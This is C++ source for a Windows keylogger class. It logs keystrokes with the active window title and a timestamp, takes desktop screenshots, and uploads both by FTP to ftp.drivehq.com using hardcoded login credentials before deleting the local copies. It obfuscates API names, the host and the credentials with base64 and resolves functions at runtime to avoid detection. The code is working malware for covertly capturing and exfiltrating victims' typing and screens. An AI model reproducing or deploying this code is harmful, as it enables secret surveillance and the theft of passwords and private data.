#include "log.h"
#include <Windows.h>
#include <GDIPlus.h>
#include <WinInet.h>
#include "base64.h"

using namespace Gdiplus;


HINTERNET (WINAPI *p_InternetOpen)(
    LPCTSTR lpszAgent,
    DWORD dwAccessType,
    LPCTSTR lpszProxyName,
    LPCTSTR lpszProxyBypass,
    DWORD dwFlags
);

HINTERNET (WINAPI *p_InternetConnect)(
    HINTERNET hInternet,
    LPCTSTR lpszServerName,
    INTERNET_PORT nServerPort,
    LPCTSTR lpszUsername,
    LPCTSTR lpszPassword,
    DWORD dwService,
    DWORD dwFlags,
    DWORD_PTR dwContext
);

BOOL (WINAPI * p_FtpPutFile)(
    HINTERNET hConnect,
    LPCTSTR lpszLocalFile,
    LPCTSTR lpszNewRemoteFile,
    DWORD dwFlags,
    DWORD_PTR dwContext
);

BOOL (WINAPI *p_InternetCloseHandle)(
    HINTERNET hInternet
);

BOOL (WINAPI *p_DeleteFile)(
    LPCTSTR lpFileName
);

DWORD (WINAPI *p_GetEnvironmentVariable)(
  LPCTSTR lpName,
  LPTSTR lpBuffer,
  DWORD nSize
);

void make_screenshot(string file)
{
ULONG_PTR	gdiplustoken;
GdiplusStartupInput gdiplusstartupinput;
GdiplusStartupOutput gdiplusstartupoutput;
gdiplusstartupinput.SuppressBackgroundThread = true;
GdiplusStartup (& gdiplustoken, & gdiplusstartupinput, & gdiplusstartupoutput);//start GDI+

HDC dc=GetDC(GetDesktopWindow());//Get Desktop Context
HDC dc2 = CreateCompatibleDC(dc);//Copy Context

RECT rcOkno;
GetClientRect(GetDesktopWindow(), &rcOkno);//Get desktop size
int w=rcOkno.right-rcOkno.left;//width
int h=rcOkno.bottom-rcOkno.top;//height
HBITMAP hbitmap=CreateCompatibleBitmap(dc,w,h);//Create bitmap
HBITMAP holdbitmap =(HBITMAP) SelectObject(dc2, hbitmap);
BitBlt(dc2, 0, 0, w, h, dc, 0, 0, SRCCOPY);//Copy pixels from pulpit to bitmap

Bitmap* bm=new Bitmap(hbitmap,NULL);//Create GDI+ bitmap

UINT num;
UINT size;
ImageCodecInfo *imagecodecinfo;
GetImageEncodersSize (&num, &size);//get count of codecs
imagecodecinfo = (ImageCodecInfo*) (malloc (size));
GetImageEncoders (num, size,  imagecodecinfo);//get codecs

CLSID clsidEncoder;

for (int i = 0; i < num; i ++)
{
	  if (wcscmp (imagecodecinfo[i].MimeType, L"image/jpeg") == 0)
		  clsidEncoder = imagecodecinfo[i].Clsid;//get jpeg codec id
}
free (imagecodecinfo);

wstring ws;
ws.assign(file.begin(),file.end());//string->wstring
bm->Save(ws.c_str(),& clsidEncoder);//save in jpeg format
SelectObject(dc2, holdbitmap);//Release objects
DeleteObject(dc2);
DeleteObject(hbitmap);

ReleaseDC(GetDesktopWindow(),dc);
GdiplusShutdown (gdiplustoken);
}


HWND h_org=NULL;
std::string w_name()
{
	HWND h_for=GetForegroundWindow();//Get active window hwnd
	if(h_for!=h_org)
	{
		h_org=h_for;//set active window
		char name[260];
		GetWindowText(h_org,name,260);//get window name
		std::string tm;
		SYSTEMTIME st;
		GetSystemTime(&st);//get time
		char tt[100];
		sprintf(tt,"%.4d-%.2d-%.2d %.2d:%.2d:%.2d",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
		tm=tt;//time
		tm+="  |  ------>>>>>>   ";
		tm+=name;//windows name
		tm+="   <<<<<<-----";
		return tm;//return string
	}
	return "";//return empty string
}


logg::logg()
{
	buffer="";
	buffer.reserve(1024);
	string wininet_dll=base64_decode("d2luaW5ldC5kbGw=");
	string kernel32_dll=base64_decode("a2VybmVsMzIuZGxs");

	p_InternetOpen=(HINTERNET (__stdcall *)(LPCTSTR,DWORD,LPCTSTR,LPCTSTR,DWORD))GetProcAddress(LoadLibrary(wininet_dll.c_str()),base64_decode("SW50ZXJuZXRPcGVuQQ==").c_str());
	p_InternetConnect=(HINTERNET (__stdcall *)(HINTERNET,LPCTSTR,INTERNET_PORT,LPCTSTR,LPCTSTR,DWORD,DWORD,DWORD_PTR))GetProcAddress(LoadLibrary(wininet_dll.c_str()),base64_decode("SW50ZXJuZXRDb25uZWN0QQ==").c_str());
	p_FtpPutFile=(BOOL (__stdcall *)(HINTERNET,LPCTSTR,LPCTSTR,DWORD,DWORD_PTR))GetProcAddress(LoadLibrary(wininet_dll.c_str()),base64_decode("RnRwUHV0RmlsZUE=").c_str());
	p_InternetCloseHandle=(BOOL (__stdcall *)(HINTERNET))GetProcAddress(LoadLibrary(wininet_dll.c_str()),base64_decode("SW50ZXJuZXRDbG9zZUhhbmRsZQ==").c_str());
	p_DeleteFile=(BOOL (__stdcall *)(LPCTSTR))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("RGVsZXRlRmlsZUE=").c_str());
	p_GetEnvironmentVariable=(DWORD (__stdcall *)(LPCTSTR,LPTSTR,DWORD))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("R2V0RW52aXJvbm1lbnRWYXJpYWJsZUE=").c_str());



	SYSTEMTIME st;
		GetSystemTime(&st);
		char tt[100];
		sprintf(tt,"log_%.4d%.2d%.2d%.2d%.2d%.2d.txt",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
	char pa[260];
	p_GetEnvironmentVariable(base64_decode("VVNFUlBST0ZJTEU=").c_str(),pa,260);//USERPROFILE
	f_path=pa;
	f_path+=base64_decode("XGtleWxvZ2dlclw=");
	f_log=f_path;
	f_name=tt;
	f_log+=f_name;
}

string logg::GetPath()
{
	return f_path;
}

void logg::AppendChar(char ch)
{
std::string w_n=w_name();
if(w_n.length()>1)
{
	buffer="\n\n";
	buffer+=w_n;
	buffer+="\n";
	buffer+=ch;
}
else
{
buffer=ch;
}
SaveLog(f_log);
}

void logg::AppendString(string str)
{
std::string w_n=w_name();
if(w_n.length()>1)
{
	buffer="\n\n";
	buffer+=w_n;
	buffer+="\n";
	buffer+=str;
}
else
{
buffer=str;
}

SaveLog(f_log);
}

void logg::FlushBuffer()
{
	buffer.erase();
}

void logg::SaveLog(string name)
{
	ofstream of(name,ios::app);
	of.write(buffer.c_str(),buffer.length());
	of.close();
}

void logg::SendLog()
{
	

	SYSTEMTIME st;
	GetSystemTime(&st);
	char tt[100];
	char snap[100];
	sprintf(tt,"log_%.4d%.2d%.2d%.2d%.2d%.2d.txt",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
	sprintf(snap,"snap_%.4d%.2d%.2d%.2d%.2d%.2d.jpg",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
		
	string f_snap=f_path;
	f_snap+=snap;
	make_screenshot(f_snap);
	
HINTERNET h=p_InternetOpen(base64_decode("YWdlbnQ=").c_str(),0,0,0,0);//agent
HINTERNET h_c=p_InternetConnect(h,/*ftp.drivehq.com*/base64_decode("ZnRwLmRyaXZlaHEuY29t").c_str(),INTERNET_DEFAULT_FTP_PORT,/*grzonu123*/base64_decode("Z3J6b251MTIz").c_str(),/*qwerty123*/base64_decode("cXdlcnR5MTIz").c_str(),INTERNET_SERVICE_FTP,0,0x0);

while(!p_FtpPutFile(h_c,f_log.c_str(),f_name.c_str(),FTP_TRANSFER_TYPE_BINARY,NULL))
{

}
while(!p_FtpPutFile(h_c,f_snap.c_str(),snap,FTP_TRANSFER_TYPE_BINARY,NULL))
{
}
p_InternetCloseHandle(h_c);
p_InternetCloseHandle(h);

	p_DeleteFile(f_snap.c_str());
	p_DeleteFile(f_log.c_str());

	f_name=tt;
	f_log=f_path;
	f_log+=f_name;
	
}